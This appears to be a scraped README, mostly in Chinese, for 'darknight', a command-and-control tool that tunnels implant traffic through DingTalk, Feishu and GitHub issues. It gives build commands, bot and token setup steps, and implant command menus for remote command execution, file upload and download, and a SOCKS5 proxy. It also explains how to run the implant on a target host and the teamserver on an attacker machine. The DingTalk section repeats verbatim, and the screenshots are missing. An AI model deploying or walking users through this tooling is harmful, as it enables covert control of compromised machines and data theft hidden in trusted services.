A C2 communication tool hidden in the darknight
# 下载依赖
go mod download
# 构建本地环境架构的二进制文件
go build
# 构建不同架构平台的二进制文件
GOOS=windows GOARCH=amd64 go build -o darknight_windows_amd64.exe
GOOS=linux GOARCH=amd64 go build -o darknight_linux_amd64
GOOS=darwin GOARCH=arm64 go build -o darknight_macos_arm64启动 implant 注入端我们需要四个参数值:implant <client_id> <client_secret> <robot_code> <user_id>
打开开发者后台:https://open-dev.dingtalk.com/fe/app
选择钉钉应用,创建企业内部应用:
创建完成已进入应用,就可以看到我们需要的两个参数值**<client_id>和<client_secret>**:
添加应用能力添加机器人,然后配置成 stream 模式即可,同时,这里有我们需要的**<robot_code>**:
来到权限管理页面,开启以下权限:
然后需要发布版本才能进行使用:
最后我们打开钉钉客户端,有两种方式使用该C2进行通信,一种是直接与bot私聊,另一种是在群组添加该bot,然后直接@bot名字即可使用;
下面是将bot加入企业默认群组的流程:
- help : show this help menu
- pwd : print working directory
- whoami : get username
- cmd : execute command
- <upload(No Command)> : send the file directly to the bot, and the file will be downloaded to the current working directory
- download <remote_file_name> : download remote_file of dingding-implant to the folder of dingding knowledge base
- exit : kill the connection with the dingding-implant
直接 go build 就能食用 implant 注入端;
启动需要四个参数:implant <client_id> <client_secret> <robot_code> <user_id>
四个参数如何配置请参考前面的配置教程;
implant 端启动后,选择有 bot 的群组@bot,或者与 bot 私聊都能触发c2通信;(其中,除了上传文件只能私聊 bot触发,其他均可以通过群组@bot 或者私聊进行触发)
cmd执行命令:
上传文件(只能私聊 bot上传):
download下载文件到钉钉知识库(需要提前创建一个c2 文件夹,绝对路径和相对路径都可以),例如下载刚才上传的 agent:
exit退出:
# 下载依赖
go mod tidy
# 构建本地环境架构的二进制文件
go build
# 构建不同架构平台的二进制文件
GOOS=windows GOARCH=amd64 go build -o darknight_windows_amd64.exe
GOOS=linux GOARCH=amd64 go build -o darknight_linux_amd64
GOOS=darwin GOARCH=arm64 go build -o darknight_macos_arm64启动 implant 注入端我们需要四个参数值:implant <client_id> <client_secret> <robot_code> <user_id>
打开开发者后台:https://open-dev.dingtalk.com/fe/app
选择钉钉应用,创建企业内部应用:
创建完成已进入应用,就可以看到我们需要的两个参数值**<client_id>和<client_secret>**:
添加应用能力添加机器人,然后配置成 stream 模式即可,同时,这里有我们需要的**<robot_code>**:
来到权限管理页面,开启以下权限:
然后需要发布版本才能进行使用:
最后我们打开钉钉客户端,有两种方式使用该C2进行通信,一种是直接与bot私聊,另一种是在群组添加该bot,然后直接@bot名字即可使用;
下面是将bot加入企业默认群组的流程:
- help : show this help menu
- pwd : print working directory
- whoami : get username
- cmd : execute command
- <upload(No Command)> : send the file directly to the bot, and the file will be downloaded to the current working directory
- download <remote_file_name> : download remote_file of dingding-implant to the folder of dingding knowledge base
- exit : kill the connection with the dingding-implant
直接 go build 就能食用 implant 注入端;
启动需要四个参数:implant <client_id> <client_secret> <robot_code> <user_id>
四个参数如何配置请参考前面的配置教程;
implant 端启动后,选择有 bot 的群组@bot,或者与 bot 私聊都能触发c2通信;(其中,除了上传文件只能私聊 bot触发,其他均可以通过群组@bot 或者私聊进行触发)
cmd执行命令:
上传文件(只能私聊 bot上传):
download下载文件到钉钉知识库(需要提前创建一个c2 文件夹,绝对路径和相对路径都可以),例如下载刚才上传的 agent:
exit退出:
打开开发者后台:https://open.feishu.cn/app/
选择创建企业自建应用:
点进 bot,就可以看到我们需要的**<app_id>和<app_secret>**了:
添加一个机器人:
在权限管理开启以下权限:
配置完成后,需要发布版本才能够使用:
最后打开飞书客户端,创建一个群组,在群组里面加入自己创建的 bot 就可以使用了:
- help : show this help menu
- start : start the feishu-implant
- pwd : print working directory
- whoami : get username
- cmd <command> : execute command
- upload <remote_file_name> : upload local file to the feishu-implant if your previous message is file
- download <remote_file_name> : download remote_file of feishu-implant to current local feishu
- exit : kill the connection with the feishu-implant
将飞书当作服务端,群组当作客户端,feishu-implant就是注入端,直接将 implant 放在靶机上面运行即可!
implant 在靶机上运行后,我们需要在飞书群组输入 start 命令启动交互!
start启动:
cmd执行命令:
download下载文件:
upload上传文件(注意 upload xxxx 的上一条消息必须是一个文件,才能上传成功):
exit 退出 implant 注入端:
进入设置;
进入开发者设置;
在token(classic)中选择generate new token;
填写名字、生效日期、以及勾上repo的所有权限,然后创建token即可,注意token只在创建时显示一次,注意保存;
最后的token形式大概是ghp_xxxxxxxx这样的;
help:帮助手册
pwd:当前工作目录;
whoami:当前用户名;
cmd <command>:执行command命令;
upload <local_file_path> <remote_file_name>:teamserver先上传本地文件local_file_path到github,并命名为remote_file_name,然后下载该remote_file_name到implant当前的工作目录;
download download <implant_file_path> <remote_file_name>:implant先上传implant的本地文件local_file_path到github,并命名为remote_file_name,然后下载该remote_file_name到teamserver当前的工作目录;
socks5 start/stop : turn on or off a SOCKS5 service
exit:切断与implant的连接,终止implant进程运行;
github相当于中间代理服务端,只需要用到其api;
teamserver是服务端/客户端,放在attacker上运行;
implant是注入端,放在靶机上面运行;
运行过程:
teamserver输入命令,调用github-api发送新的issue标题包含该命令;
implant会执行轮询获取新的issue的标题,获取到新的命令;
implant执行命令获取结果,加密该结果后返回给github,调用github-api向原issue的评论写入该结果;
teamserver轮询检测到新的评论写入,获取加密结果进行解密,输出到控制台;
# 需要在启动攻击机上启动teamserver,靶机上启动implant注入端
teamserver <AccessToken> <Username> <Repository>
implant <AccessToken> <Username> <Repository>
# 示例如下:
./teamserver ghp_xxxxxxxxx Sakura-501 github-c2-test
./implant ghp_xxxxxxxxx Sakura-501 github-c2-test启动效果如下;
teamserver端启动:
implant端启动:
cmd执行命令:
upload <local_file_path> <remote_file_name>上传文件:
download <implant_file_path> <remote_file_name>下载文件:
socks5 start启动:
socks5协议使用:
exit退出:
















































